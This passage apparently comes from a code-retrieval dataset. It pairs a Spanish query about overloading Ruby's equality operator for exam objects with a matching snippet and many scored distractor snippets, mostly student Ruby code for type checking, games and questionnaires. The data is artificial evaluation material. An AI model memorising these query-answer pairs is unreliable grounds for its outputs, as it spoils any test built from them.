run_command :augeas_defvar, name, expr\n end", "title": "" }, { "docid": "e54e7187b1fd0fdabbef80a5dfa57ad1", "score": "0.5259605", "text": "def visit_block(node); end", "title": "" } ]
7789f3bfff0f9ef12138252edca65331
Sobrecarga del operador de igualdad. Se determina que dos objetos son iguales si su pregunta y respuestas coinciden.
[ { "docid": "81147eff328056505db7a16b286ef0e8", "score": "0.52630895", "text": "def == (objetoExamen)\n if @pregunta == objetoExamen.pregunta && @respuestas == objetoExamen.respuestas then\n return true\n else\n return false\n end\n end", "title": "" } ]
[ { "docid": "5544b3de1669ca2582cab5b78cb4cb22", "score": "0.600427", "text": "def checar_pes(objetos)\n @no_ar = true\n objetos.each do |objeto|\n @no_ar = false if tocando?(objeto)\n end\n end", "title": "" }, { "docid": "62dcb05f5a95d4ef259d13bcdec83b68", "score": "0.5963517", "text": "def checar_pes(objetos)\n @no_ar = true\n objetos.each do |objeto|\n @no_ar = false if tocando?(objeto)\n end\n if @corpo.p.y > 765\n @no_ar = false\n end\n end", "title": "" }, { "docid": "b2cfbd1df76bc39a510093a47fde5e68", "score": "0.5934708", "text": "def check_primeras_pruebas escenario\n # ####\n # #. #\n # #$@#\n # ####\n \n pared_en_1_1 = false\n pared_en_2_1 = false\n pared_en_3_1 = false\n pared_en_4_1 = false\n \n pared_en_1_2 = false\n pared_en_4_2 = false\n\n pared_en_1_3 = false\n pared_en_4_3 = false\n\n pared_en_2_4 = false\n pared_en_3_4 = false\n pared_en_4_4 = false\n\n destino_en_2_2 = false\n caja_en_2_3 = false\n persona_en_3_3 = false\n\n escenario.get_paredes.each do |pared|\n if 1 == pared.get_x && 1 == pared.get_y\n pared_en_1_1 = true\n elsif 2 == pared.get_x && 1 == pared.get_y\n pared_en_2_1 = true\n elsif 3 == pared.get_x && 1 == pared.get_y\n pared_en_3_1 = true\n elsif 4 == pared.get_x && 1 == pared.get_y\n pared_en_4_1 = true\n elsif 1 == pared.get_x && 2 == pared.get_y\n pared_en_1_2 = true\n elsif 4 == pared.get_x && 2 == pared.get_y\n pared_en_4_2 = true\n elsif 1 == pared.get_x && 3 == pared.get_y\n pared_en_1_3 = true\n elsif 4 == pared.get_x && 3 == pared.get_y\n pared_en_4_3 = true\n elsif 2 == pared.get_x && 4 == pared.get_y\n pared_en_2_4 = true\n elsif 3 == pared.get_x && 4 == pared.get_y\n pared_en_3_4 = true\n elsif 4 == pared.get_x && 4 == pared.get_y\n pared_en_4_4 = true\n end\n end\n\n paredes_bien = pared_en_1_1 && pared_en_2_1 && pared_en_3_1 && pared_en_4_1\n pared_en_1_2 && pared_en_4_2 && pared_en_1_3 && pared_en_4_3 &&\n pared_en_2_4 && pared_en_3_4 && pared_en_4_4\n\n paredes_bien = paredes_bien && (11 == escenario.get_paredes.length)\n \n escenario.get_destinos.each do |destino|\n if 2 == destino.get_x && 2 == destino.get_y\n destino_en_2_2 = true\n end\n end\n\n destinos_bien = destino_en_2_2 && (1 == escenario.get_destinos.length)\n\n escenario.get_cajas.each do |caja|\n if 2 == caja.get_x && 3 == caja.get_y\n caja_en_2_3 = true\n end\n end\n\n cajas_bien = caja_en_2_3 && (1 == escenario.get_cajas.length)\n\n persona_en_3_3 = (3 == escenario.get_persona.get_x && 3 == escenario.get_persona.get_y)\n\n assert_equal(true, paredes_bien, \"Mal la carga de paredes a partir del archivo\")\n assert_equal(true, destinos_bien, \"Mal la carga de destinos a partir del archivo\")\n assert_equal(true, cajas_bien, \"Mal la carga de cajas a partir del archivo\")\n assert_equal(true, persona_en_3_3, \"Mal la carga de la persona a partir del archivo\")\n assert_equal(4, escenario.get_ancho, \"Mal el ancho\")\n assert_equal(4, escenario.get_alto, \"Mal el alto\")\n end", "title": "" }, { "docid": "84867717b8658cfed96d7358c745b147", "score": "0.5868186", "text": "def empatou\n if @qtd_jogadas_de_damas_sem_captura == 20 || empatada_por_5_jogadas_casos_especiais?\n return {:resposta => true, :quem_ganhou => nil}\n else\n return {:resposta => false}\n end\n end", "title": "" }, { "docid": "be18824c743df58a52050ef6b8ccb258", "score": "0.58351195", "text": "def examinar(*resp)\n cabecera\n for i in 1..@numeroPreguntas\n puts mostrarPregunta(i)\n input(i,resp[i-1])\n end\n return notaFinal\n end", "title": "" }, { "docid": "f6863f24c66b5aca46fb69163012db0c", "score": "0.57975733", "text": "def barco_hundido?\n @tamanio == @disparos_recibidos\n end", "title": "" }, { "docid": "eb6194b988d722931e095e13f124d66d", "score": "0.5792963", "text": "def verificarAnd(expresion, tablaActual)\n #Se busca en los alcances hasta encontrar la primera expresion valida a izquierda\n tablaAux = tablaActual\n izquierda = verificarExpresion(expresion.izquierda, tablaAux)\n \n while (!izquierda and !tablaAux.nil?)\n izquierda = verificarExpresion(expresion.izquierda, tablaAux)\n tablaAux = tablaAux.obtenerPadre()\n end\n \n #Se busca en los alcances hasta encontrar la primera expresion valida a derecha\n tablaAux = tablaActual\n derecha = verificarExpresion(expresion.derecha, tablaAux)\n \n while (!derecha and !tablaAux.nil?)\n derecha = verificarExpresion(expresion.derecha, tablaAux)\n tablaAux = tablaAux.obtenerPadre()\n end \n \n #Se verifica si ambas variables son de tipo int\n if (izquierda.eql? \"bool\" and derecha.eql? \"bool\") then\n return \"bool\"\n else \n if !(izquierda.eql? \"bool\") then \n tokenAux = expresion.izquierda\n \n while (!(tokenAux.class.eql? Identificador) and !(tokenAux.class.eql? LitNum) and !(tokenAux.class.eql? LitChar) and !(tokenAux.class.eql? LitTrue) and !(tokenAux.class.eql? LitFalse))\n tokenAux = tokenAux.izquierda\n end\n error = \"Error en línea #{tokenAux.token.linea}: los tipos de la operacion CONJUNCION son diferentes\"\n $tablaErrores << error\n else \n tokenAux = expresion.derecha\n \n while (!(tokenAux.class.eql? Identificador) and !(tokenAux.class.eql? LitNum) and !(tokenAux.class.eql? LitChar) and !(tokenAux.class.eql? LitTrue) and !(tokenAux.class.eql? LitFalse))\n tokenAux = tokenAux.izquierda\n end\n error = \"Error en línea #{tokenAux.token.linea}: los tipos de la operacion CONJUNCION son diferentes\"\n $tablaErrores << error\n end\n end\n end", "title": "" }, { "docid": "d12b51a978291d3414aba1788e2553b3", "score": "0.5754303", "text": "def verificarMenorIgualQue(expresion, tablaActual)\n #Se busca en los alcances hasta encontrar la primera expresion valida a izquierda\n tablaAux = tablaActual\n izquierda = verificarExpresion(expresion.izquierda, tablaAux)\n \n while (!izquierda and !tablaAux.nil?)\n izquierda = verificarExpresion(expresion.izquierda, tablaAux)\n tablaAux = tablaAux.obtenerPadre()\n end\n \n #Se busca en los alcances hasta encontrar la primera expresion valida a derecha\n tablaAux = tablaActual\n derecha = verificarExpresion(expresion.derecha, tablaAux)\n \n while (!derecha and !tablaAux.nil?)\n derecha = verificarExpresion(expresion.derecha, tablaAux)\n tablaAux = tablaAux.obtenerPadre()\n end \n \n #Se verifica si ambas variables son de tipo int\n if (izquierda.eql? \"int\" and derecha.eql? \"int\") then\n return \"bool\"\n else \n tokenAux = expresion.izquierda\n \n while (!(tokenAux.class.eql? Identificador) and !(tokenAux.class.eql? LitNum) and !(tokenAux.class.eql? LitChar) and !(tokenAux.class.eql? LitTrue) and !(tokenAux.class.eql? LitFalse))\n tokenAux = tokenAux.izquierda\n end\n error = \"Error en línea #{tokenAux.token.linea}: los tipos de la operacion MENOR IGUAL QUE son diferentes\"\n $tablaErrores << error\n end\n end", "title": "" }, { "docid": "f4a5989272809f5700f303e8cc0ed324", "score": "0.5737615", "text": "def verificarMayorIgualQue(expresion, tablaActual)\n #Se busca en los alcances hasta encontrar la primera expresion valida a izquierda\n tablaAux = tablaActual\n izquierda = verificarExpresion(expresion.izquierda, tablaAux)\n \n while (!izquierda and !tablaAux.nil?)\n izquierda = verificarExpresion(expresion.izquierda, tablaAux)\n tablaAux = tablaAux.obtenerPadre()\n end\n \n #Se busca en los alcances hasta encontrar la primera expresion valida a derecha\n tablaAux = tablaActual\n derecha = verificarExpresion(expresion.derecha, tablaAux)\n \n while (!derecha and !tablaAux.nil?)\n derecha = verificarExpresion(expresion.derecha, tablaAux)\n tablaAux = tablaAux.obtenerPadre()\n end \n \n #Se verifica si ambas variables son de tipo int\n if (izquierda.eql? \"int\" and derecha.eql? \"int\") then\n return \"bool\"\n else \n tokenAux = expresion.izquierda\n \n while (!(tokenAux.class.eql? Identificador) and !(tokenAux.class.eql? LitNum) and !(tokenAux.class.eql? LitChar) and !(tokenAux.class.eql? LitTrue) and !(tokenAux.class.eql? LitFalse))\n tokenAux = tokenAux.izquierda\n end\n error = \"Error en línea #{tokenAux.token.linea}: los tipos de la operacion MAYOR IGUAL QUE son diferentes\"\n $tablaErrores << error\n end\n end", "title": "" }, { "docid": "fc47e131e6b979eb00998f1cdf88e86a", "score": "0.57134444", "text": "def quita_sinonimos_coincidencias\n return unless validacion[:taxones].present?\n validos = []\n\n validacion[:taxones].each do |taxon|\n validos << taxon if taxon.estatus == 2\n end\n\n if validos.count == 1\n self.validacion = {estatus: true, taxon: validos.first, msg: 'Búsqueda similar'}\n end\n end", "title": "" }, { "docid": "ecf5690fa1c7d2a83663861aeb3a9f64", "score": "0.57110447", "text": "def evaluacion(cuestionario_conflicto_id)\n\n #FRUSTRACIÓN POR conflicto\n agresividad = false; insensibilidad = false; impulsividad= false; irritabilidad= false; melancolia=false;\n susceptibilidad = false; sexualidad=false; introversion = false;\n\n @cuestionario_conflicto = CuestionarioConflicto.find(cuestionario_conflicto_id)\n if @cuestionario_conflicto.resp_Q1==\"SI\" and @cuestionario_conflicto.resp_Q2==\"SI\" and\n @cuestionario_conflicto.resp_Q3==\"SI\" and @cuestionario_conflicto.resp_Q4==\"SI\" and\n @cuestionario_conflicto.resp_Q5==\"SI\" and @cuestionario_conflicto.resp_Q6==\"SI\" and\n @cuestionario_conflicto.resp_Q7==\"SI\" and @cuestionario_conflicto.resp_Q6==\"SI\" and\n @evaluacion1=\"Usted presenta un temperamento de agresividad\"\n agresividad=true;\n else\n @evaluacion1=\"No presenta un temperamento de agresividad\"\n end\n if @cuestionario_conflicto.resp_R1==\"NO\" and @cuestionario_conflicto.resp_R2==\"SI\" and\n @cuestionario_conflicto.resp_R3==\"NO\" and @cuestionario_conflicto.resp_R4==\"SI\" and\n @cuestionario_conflicto.resp_R5==\"NO\" and @cuestionario_conflicto.resp_R6==\"NO\" and\n @cuestionario_conflicto.resp_R7==\"SI\" and @cuestionario_conflicto.resp_R8==\"SI\" and\n @cuestionario_conflicto.resp_R9==\"SI\" and@cuestionario_conflicto.resp_R10==\"NO\" and\n @evaluacion2=\"Usted presenta un temperamento de insensibilidad\"\n insensibilidad =true;\n else\n @evaluacion2=\"No presenta un temperamento de insensibilidad\"\n end\n\n if @cuestionario_conflicto.resp_S1==\"NO\" and @cuestionario_conflicto.resp_S2==\"SI\" and\n @cuestionario_conflicto.resp_S3==\"NO\" and @cuestionario_conflicto.resp_S4==\"SI\" and\n @cuestionario_conflicto.resp_S5==\"SI\" and @cuestionario_conflicto.resp_S6==\"SI\" and\n @cuestionario_conflicto.resp_S7==\"SI\" and\n @evaluacion3=\"Usted presenta un temperamento de impulsividad\"\n impulsividad=true;\n else\n @evaluacion3=\"No presenta un temperamento de impulsividad\"\n end\n\n if @cuestionario_conflicto.resp_T1==\"SI\" and @cuestionario_conflicto.resp_T2==\"SI\" and\n @cuestionario_conflicto.resp_T3==\"SI\" and @cuestionario_conflicto.resp_T4==\"SI\" and\n @cuestionario_conflicto.resp_T5==\"NO\" and @cuestionario_conflicto.resp_T6==\"SI\" and\n\n @evaluacion4=\"Usted presenta un temperamento de irritabilidad\"\n irritabilidad=true;\n else\n @evaluacion4=\"No presenta un temperamento de irritabilidad\"\n end\n\n if @cuestionario_conflicto.resp_U1==\"SI\" and @cuestionario_conflicto.resp_U2==\"SI\" and\n @cuestionario_conflicto.resp_U3==\"SI\" and @cuestionario_conflicto.resp_U4==\"SI\" and\n @cuestionario_conflicto.resp_U5==\"SI\" and @cuestionario_conflicto.resp_U6==\"SI\" and\n @cuestionario_conflicto.resp_U7==\"SI\" and @cuestionario_conflicto.resp_U8==\"SI\" and\n @cuestionario_conflicto.resp_U9==\"SI\" and\n @evaluacion5=\"Usted presenta un temperamento de melancolia\"\n melancolia=true;\n else\n @evaluacion5=\"No presenta un temperamento de melancolia\"\n\n end\n\n if @cuestionario_conflicto.resp_V1==\"SI\" and @cuestionario_conflicto.resp_V2==\"SI\" and\n @cuestionario_conflicto.resp_V3==\"SI\" and @cuestionario_conflicto.resp_V4==\"SI\" and\n @cuestionario_conflicto.resp_V5==\"SI\" and @cuestionario_conflicto.resp_V6==\"SI\" and\n @cuestionario_conflicto.resp_V7==\"SI\" and @cuestionario_conflicto.resp_V8==\"SI\" and\n @cuestionario_conflicto.resp_V9==\"SI\" and @cuestionario_conflicto.resp_V10==\"NO\"and\n @evaluacion6=\"Usted presenta un temperamento de susceptibilidad\"\n susceptibilidad=true;\n else\n @evaluacion6=\"No presenta un temperamento de susceptibilidad\"\n end\n\n if @cuestionario_conflicto.resp_W1==\"SI\" and @cuestionario_conflicto.resp_W2==\"SI\" and\n @cuestionario_conflicto.resp_W3==\"SI\" and @cuestionario_conflicto.resp_W4==\"NO\" and\n @cuestionario_conflicto.resp_W5==\"SI\" and @cuestionario_conflicto.resp_W6==\"SI\" and\n\n @evaluacion7=\"Usted presenta un temperamento de sexualidad\"\n\n sexualidad=true;\n else\n @evaluacion7=\"no presenta un temperamento de sexualidad\"\n end\n\n if @cuestionario_conflicto.resp_X1==\"SI\" and @cuestionario_conflicto.resp_X2==\"SI\" and\n @cuestionario_conflicto.resp_X3==\"NO\" and @cuestionario_conflicto.resp_X4==\"NO\" and\n @cuestionario_conflicto.resp_X5==\"NO\" and @cuestionario_conflicto.resp_X6==\"SI\" and\n @cuestionario_conflicto.resp_X7==\"SI\" and\n @evaluacion8=\"Usted presenta un temperamento de introversion\"\n introversion=true;\n else\n @evaluacion8=\"no presenta un temperamento de introversion\"\n end\n\n\n # Se guarda o actualiza el temperamento del paciente\n\n @paciente = Paciente.find(@cuestionario_conflicto.paciente_id)\n if @paciente.temperamento_id!=nil\n id= @paciente.temperamento_id;\n @temperamento = Temperamento.find(id)\n if\n agresividad==true\n Temperamento.find(id).update_attribute(:agresividad,agresividad)\n end\n if\n insensibilidad==true\n Temperamento.find(id).update_attribute(:insensibilidad,insensibilidad)\n end\n if\n impulsividad==true\n Temperamento.find(id).update_attribute(:impulsividad,impulsividad)\n end\n if\n irritabilidad==true\n Temperamento.find(id).update_attribute(:irritabilidad,impulsividad)\n end\n if\n melancolia==true\n Temperamento.find(id).update_attribute(:melancolia,melancolia)\n end\n if\n susceptibilidad==true\n Temperamento.find(id).update_attribute(:susceptibilidad,susceptibilidad)\n end\n if\n sexualidad==true\n Temperamento.find(id).update_attribute(:sexualidad,sexualidad)\n end\n if\n introversion==true\n Temperamento.find(id).update_attribute(:introversion,introversion)\n end\n else\n @temperamento = Temperamento.new\n @temperamento.agresividad= agresividad\n @temperamento.impulsividad = impulsividad\n @temperamento.irritabilidad = irritabilidad\n @temperamento.susceptibilidad = susceptibilidad\n @temperamento.introversion= introversion\n @temperamento.sexualidad= sexualidad\n @temperamento.insensibilidad= insensibilidad\n @temperamento.melancolia = melancolia\n @temperamento.paciente_id = @cuestionario_conflicto.paciente_id\n @temperamento.save()\n Paciente.find(@cuestionario_conflicto.paciente_id).update_attribute(:temperamento_id, @temperamento.id)\n end\n\n end", "title": "" }, { "docid": "5ae127bd4a140c67622fefe3e470053c", "score": "0.5705288", "text": "def check_results \n if ((@a1.contenu == @a2.contenu) && ( @a2.contenu == @a3.contenu)) \n return \"acompleted\"\n elsif ((@b1.contenu == @b2.contenu) && ( @b2.contenu == @b3.contenu)) \n return \"bcompleted\"\n elsif ((@c1.contenu == @c2.contenu) && ( @c2.contenu == @c3.contenu))\n return \"ccompleted\"\n elsif ((@a1.contenu == @b1.contenu) && ( @b1.contenu == @c1.contenu))\n return \"1completed\"\n elsif ((@a2.contenu == @b2.contenu) && ( @b2.contenu == @c2.contenu)) \n return \"2completed\"\n elsif ((@a3.contenu == @b3.contenu) && ( @b3.contenu == @c3.contenu))\n return \"3completed\"\n elsif (((@a1.contenu == @b2.contenu) && ( @b2.contenu == @c3.contenu)) || ((@a3.contenu == @b2.contenu) && ( @b2.contenu == @c1.contenu)))\n return \"diagcompleted\"\n else\n return \"nothingcompleted\"\n end\n end", "title": "" }, { "docid": "32c66be02834d2c7dfaafb21895408ca", "score": "0.5694812", "text": "def pode_reenviar?\n # Nestes estados, impossivel reenviar...\n if self.recebido_pelo_cliente? or \n self.pedido? or \n self.aguardando_pagamento? or\n self.processando_envio? or\n self.processando_envio_envelopado? or\n self.processando_envio_notafiscal?\n return false\n else\n return true\n end\n end", "title": "" }, { "docid": "5e00c92b8a66ae1ae44362071e03acd5", "score": "0.5661658", "text": "def status_ok(dor_object)\n [1, 6, 7, 8, 9].include?(status(dor_object))\n end", "title": "" }, { "docid": "dba6b3dd4702de7b89ec338fc011e0c1", "score": "0.56582123", "text": "def verificarOr(expresion, tablaActual)\n #Se busca en los alcances hasta encontrar la primera expresion valida a izquierda\n tablaAux = tablaActual\n izquierda = verificarExpresion(expresion.izquierda, tablaAux)\n \n while (!izquierda and !tablaAux.nil?)\n izquierda = verificarExpresion(expresion.izquierda, tablaAux)\n tablaAux = tablaAux.obtenerPadre()\n end\n \n #Se busca en los alcances hasta encontrar la primera expresion valida a derecha\n tablaAux = tablaActual\n derecha = verificarExpresion(expresion.derecha, tablaAux)\n \n while (!derecha and !tablaAux.nil?)\n derecha = verificarExpresion(expresion.derecha, tablaAux)\n tablaAux = tablaAux.obtenerPadre()\n end \n \n #Se verifica si ambas variables son de tipo int\n if (izquierda.eql? \"bool\" and derecha.eql? \"bool\") then\n return \"bool\"\n else \n if !(izquierda.eql? \"bool\") then \n tokenAux = expresion.izquierda\n \n while (!(tokenAux.class.eql? Identificador) and !(tokenAux.class.eql? LitNum) and !(tokenAux.class.eql? LitChar) and !(tokenAux.class.eql? LitTrue) and !(tokenAux.class.eql? LitFalse))\n tokenAux = tokenAux.izquierda\n end\n error = \"Error en línea #{tokenAux.token.linea}: los tipos de la operacion DISYUNCION son diferentes\"\n $tablaErrores << error\n else \n tokenAux = expresion.derecha\n \n while (!(tokenAux.class.eql? Identificador) and !(tokenAux.class.eql? LitNum) and !(tokenAux.class.eql? LitChar) and !(tokenAux.class.eql? LitTrue) and !(tokenAux.class.eql? LitFalse))\n tokenAux = tokenAux.izquierda\n end\n error = \"Error en línea #{tokenAux.token.linea}: los tipos de la operacion DISYUNCION son diferentes\"\n $tablaErrores << error\n end\n end\n end", "title": "" }, { "docid": "1cb0e203c78dcb8c3dc2f5db5e1e0bf2", "score": "0.56275475", "text": "def asignar(horas, prof_id, curso_id, asig_id ,sol)\n aux = horas\n \n #identifico los modulos vacios\n vacios_cur = sol.sol_cursos.where(:asignatura_id => nil, :curso_id => curso_id).pluck(:posicion)\n vacios_prof = sol.sol_profes.where(:asignatura_id => nil, :profe_id => prof_id).pluck(:posicion)\n \n # intersecto y busco modulos dobles\n candidatos=vacios_cur&vacios_prof\n pos = []\n \n for i in 1..(candidatos.count-1) do\n if candidatos[i]%2==1 && candidatos[i+1] == candidatos[i]+1 \n pos.push(candidatos[i])\n end\n end \n \n \n while aux >=2 \n candidato = sol.sol_cursos.where(:asignatura_id => nil, :curso_id => curso_id).sample\n if candidato.posicion.even? || SolCurso.find(candidato.id+1).asignatura_id == nil \n else\n \n if sol.sol_profes.where(:asignatura_id => nil, :profesor_id => prof_id)\n aux = aux-2\n candidato.asignatura_id = asig_id\n SolCurso.find(candidato.id+1).asignatura_id = asig_id\n else\n end\n \n end\n \n end\n \n def completar_horarios(cole)\n self.sol_matches.each do |sm|\n prof = Profesor.find(sm.profesor_id)\n curso = Curso.find(sm.curso_id)\n asig = Asignatura.find(sm.asignatura_id)\n \n if prof.horas_left(asig.id, self)>= curso.horas_porasignar(asig.id, self)\n \n else\n flash[:notice]= \"No se puede generar este sistema. Profesor #{Profesor.find(prof_id).nombre} no puede enseñar #{Asignatura.find(asig_id).nombre} al curso #{Curso.find(curso_id).nombre}. No tiene suficientes horas disponibles para esta asignatura}\"\n break \n end\n end\n \n end\n\nend", "title": "" }, { "docid": "8f3f1de02e520aced4f17d99068dd3f0", "score": "0.5524959", "text": "def verificarInstruccionCondicionalOthe(instruccion, tablaActual)\n #Se busca en los alcances hasta encontrar la primera expresion valida\n tablaAux = tablaActual\n guardia = verificarExpresion(instruccion.guardia, tablaAux)\n\n while (!guardia and !tablaAux.nil?)\n guardia = verificarExpresion(instruccion.guardia, tablaAux)\n tablaAux = tablaAux.obtenerPadre()\n end\n\n #Verifica si la guardia es de tipo booleano\n if (not guardia.eql? \"bool\") then\n tokenAux = instruccion.guardia\n\n while (!(tokenAux.class.eql? Identificador) and !(tokenAux.class.eql? LitNum) and !(tokenAux.class.eql? LitChar) and !(tokenAux.class.eql? LitTrue) and !(tokenAux.class.eql? LitFalse))\n tokenAux = tokenAux.izquierda\n end\n\n error = \"Error en la linea #{tokenAux.token.linea}: La guardia del IF no es de tipo booleano\"\n $tablaErrores << error\n end\n\n verificarInstruccion(instrucciones.instruccion1, tablaActual)\n verificarInstruccion(instrucciones.instruccion2, tablaActual)\n end", "title": "" }, { "docid": "8b1aac7ba77f1628025f0465e110cb63", "score": "0.5524373", "text": "def idr\n \n if @genero = \"hombre\" && @alimentoTotal.prot >= 54.0 && @alimentoTotal.valorEnergetico >= 3000\n return true\n elsif @genero = \"mujer\" && @alimentoTotal.prot >= 41.0 && @alimentoTotal.valorEnergetico >= 2300\n return true\n else return false\n \n end\n end", "title": "" }, { "docid": "76b4c66de2f3a76436ce7a51d4643be4", "score": "0.54978627", "text": "def verificarMayorQue(expresion, tablaActual)\n #Se busca en los alcances hasta encontrar la primera expresion valida a izquierda\n tablaAux = tablaActual\n izquierda = verificarExpresion(expresion.izquierda, tablaAux)\n \n while (!izquierda and !tablaAux.nil?)\n izquierda = verificarExpresion(expresion.izquierda, tablaAux)\n tablaAux = tablaAux.obtenerPadre()\n end\n \n #Se busca en los alcances hasta encontrar la primera expresion valida a derecha\n tablaAux = tablaActual\n derecha = verificarExpresion(expresion.derecha, tablaAux)\n \n while (!derecha and !tablaAux.nil?)\n derecha = verificarExpresion(expresion.derecha, tablaAux)\n tablaAux = tablaAux.obtenerPadre()\n end \n \n #Se verifica si ambas variables son de tipo int\n if (izquierda.eql? \"int\" and derecha.eql? \"int\") then\n return \"bool\"\n else \n tokenAux = expresion.izquierda\n \n while (!(tokenAux.class.eql? Identificador) and !(tokenAux.class.eql? LitNum) and !(tokenAux.class.eql? LitChar) and !(tokenAux.class.eql? LitTrue) and !(tokenAux.class.eql? LitFalse))\n tokenAux = tokenAux.izquierda\n end\n error = \"Error en línea #{tokenAux.token.linea}: los tipos de la operacion MAYOR QUE son diferentes\"\n $tablaErrores << error\n end\n end", "title": "" }, { "docid": "28dfe809339a715265c0a085488db39a", "score": "0.5495597", "text": "def verificarMenorQue(expresion, tablaActual)\n #Se busca en los alcances hasta encontrar la primera expresion valida a izquierda\n tablaAux = tablaActual\n izquierda = verificarExpresion(expresion.izquierda, tablaAux)\n \n while (!izquierda and !tablaAux.nil?)\n izquierda = verificarExpresion(expresion.izquierda, tablaAux)\n tablaAux = tablaAux.obtenerPadre()\n end\n \n #Se busca en los alcances hasta encontrar la primera expresion valida a derecha\n tablaAux = tablaActual\n derecha = verificarExpresion(expresion.derecha, tablaAux)\n \n while (!derecha and !tablaAux.nil?)\n derecha = verificarExpresion(expresion.derecha, tablaAux)\n tablaAux = tablaAux.obtenerPadre()\n end \n \n #Se verifica si ambas variables son de tipo int\n if (izquierda.eql? \"int\" and derecha.eql? \"int\") then\n return \"bool\"\n else \n tokenAux = expresion.izquierda\n \n while (!(tokenAux.class.eql? Identificador) and !(tokenAux.class.eql? LitNum) and !(tokenAux.class.eql? LitChar) and !(tokenAux.class.eql? LitTrue) and !(tokenAux.class.eql? LitFalse))\n tokenAux = tokenAux.izquierda\n end\n error = \"Error en línea #{tokenAux.token.linea}: los tipos de la operacion MENOR QUE son diferentes\"\n $tablaErrores << error\n end\n end", "title": "" }, { "docid": "150c4ec2cdfe3e3c8d78678f3470e12a", "score": "0.5489495", "text": "def ife\n emu.skip unless a.get == b.get\n end", "title": "" }, { "docid": "b7c521b10fd31b07d2b41165daadb4eb", "score": "0.54644066", "text": "def hay_ganador() \n ($rounds_wins_p1 == 2 || $rounds_wins_p2 == 2 || $count_tie == 2) ||\n ($rounds_wins_p1 == 1 && $rounds_wins_p2 == 1 && $count_tie == 1)\n \n end", "title": "" }, { "docid": "c335ab834d54e06ee16789f6d63753c7", "score": "0.5440607", "text": "def puedoTomarInsumos?\n super && @cantidadPAActual == cantidadPAMax\n end", "title": "" }, { "docid": "d5ad840b0f4649f7b045dc71a511acbb", "score": "0.5429348", "text": "def con_licencia_reemplazante(altasbajashoras)\n if altasbajashoras.where(situacion_revista: \"1-1\").first then #Titular\n @primer = altasbajashoras.where(situacion_revista: \"1-1\").first #Titular\n else \n @primer = altasbajashoras.where(situacion_revista: \"1-2\").first #Interino\n end\n if @primer.suplente_id != nil then\n @suplente = altasbajashoras.where(id: Suplente.where(id: @primer.suplente_id).first.altas_bajas_hora_id) \n while @suplente.first.suplente_id != nil do\n @suplente = altasbajashoras.where(id: Suplente.where(id: @suplente.suplente_id).first.altas_bajas_hora_id)\n end\n @ver_licencia = @suplente\n else\n @ver_licencia = @primer\n end\n if Licencium.joins(:articulo).where(altas_bajas_hora_id: @ver_licencia, vigente: \"Vigente\", articulos: {con_goce: false}).first then\n return @ver_licencia #Hay licencias para esas horas\n else\n return [] #No hay licencias para esas horas\n end\n end", "title": "" }, { "docid": "411a2af313e22e5007677aac8a669ba9", "score": "0.54197377", "text": "def verificarIgualdad(expresion, tablaActual)\n #Se busca en los alcances hasta encontrar la primera expresion valida a izquierda\n tablaAux = tablaActual\n izquierda = verificarExpresion(expresion.izquierda, tablaAux)\n \n while (!izquierda and !tablaAux.nil?)\n izquierda = verificarExpresion(expresion.izquierda, tablaAux)\n tablaAux = tablaAux.obtenerPadre()\n end\n \n #Se busca en los alcances hasta encontrar la primera expresion valida a derecha\n tablaAux = tablaActual\n derecha = verificarExpresion(expresion.derecha, tablaAux)\n \n while (!derecha and !tablaAux.nil?)\n derecha = verificarExpresion(expresion.derecha, tablaAux)\n tablaAux = tablaAux.obtenerPadre()\n end \n \n #Se verifica si ambas variables son de tipo int\n if (izquierda.eql? derecha) then\n return \"bool\"\n else \n tokenAux = expresion.izquierda\n \n while (!(tokenAux.class.eql? Identificador) and !(tokenAux.class.eql? LitNum) and !(tokenAux.class.eql? LitChar) and !(tokenAux.class.eql? LitTrue) and !(tokenAux.class.eql? LitFalse))\n tokenAux = tokenAux.izquierda\n end\n error = \"Error en línea #{tokenAux.token.linea}: los tipos de la operacion IGUALDAD son diferentes\"\n $tablaErrores << error\n end\n end", "title": "" }, { "docid": "98a789ab114e52a51d27bb9ecb6b1fce", "score": "0.5414211", "text": "def no_same_donor_and_donee\n donor_conns=donor_connections.to_a\n donee_conns=donee_connections.to_a\n\n #first check for same connection \n in_both=donor_conns & donee_conns\n if in_both.present?\n add_same_donor_and_donee_error(I18n.t(\"wishes.errors.same_donor_and_donee.by_connection\", conn_fullname: in_both.first.fullname)) \n else \n #check for connection with same email (cann be dubled with another name)\n donor_emails=donor_conns.collect{|c| c.email}\n donee_emails=donee_conns.collect{|c| c.email}\n in_both=donor_emails & donee_emails\n if in_both.present? \n add_same_donor_and_donee_error(I18n.t(\"wishes.errors.same_donor_and_donee.by_email\", email: in_both.first))\n else \n #check for identical user directly (can have many emails)\n donor_user_ids=(donor_conns.collect{|c| c.friend_id}).compact\n donee_user_ids=(donee_conns.collect{|c| c.friend_id}).compact\n in_both=donor_user_ids & donee_user_ids\n if in_both.present? \n donor_connection=(donor_conns.select{|c| c.friend_id == in_both.first}).first\n donee_connection=(donee_conns.select{|c| c.friend_id == in_both.first}).first\n add_same_donor_and_donee_error(I18n.t(\"wishes.errors.same_donor_and_donee.by_user\", donee_fullname: donee_connection.fullname, donor_fullname: donor_connection.fullname))\n end\n end\n end \n end", "title": "" }, { "docid": "8e4ce3dd85024e911f7df8ecea01700b", "score": "0.5396953", "text": "def possui_reimpressao?\r\n\t@possui_reimpressao\r\nend", "title": "" }, { "docid": "21634f441c482e9a89c183a4d5367036", "score": "0.5383236", "text": "def idr\n \n if @genero = \"hombre\" && @alimentoTotal.prot >= 54.0 && @alimentoTotal.valorEnergetico >= 3000\n return true\n elsif @genero = \"mujer\" && @alimentoTotal.prot >= 41.0 && @alimentoTotal.valorEnergetico >= 2300\n return true\n else return false\n \n end\n end", "title": "" }, { "docid": "a7a681792a5bc5a11073e03f54b6e1cd", "score": "0.53829014", "text": "def contains_response_and_soln?() false ; end", "title": "" }, { "docid": "6df4fc5e40562686665fcdce3ed6cb36", "score": "0.5371629", "text": "def con_licencia_suplente (altasbajashoras)\n if altasbajashoras.where(situacion_revista: \"1-1\").first then\n @primer = altasbajashoras.where(situacion_revista: \"1-1\").first\n else \n @primer = altasbajashoras.where(situacion_revista: \"1-2\").first\n end\n if @primer.suplente_id != nil then\n @suplente = altasbajashoras.where(id: Suplente.where(id: @primer.suplente_id).first.altas_bajas_hora_id) \n while @suplente.first.suplente_id != nil do\n @suplente = altasbajashoras.where(id: Suplente.where(id: @suplente.suplente_id).first.altas_bajas_hora_id)\n end\n @ver_licencia = @suplente\n else\n @ver_licencia = @primer\n end \n if Licencium.joins(:articulo).where(altas_bajas_hora_id: @ver_licencia, vigente: \"Vigente\", articulos: 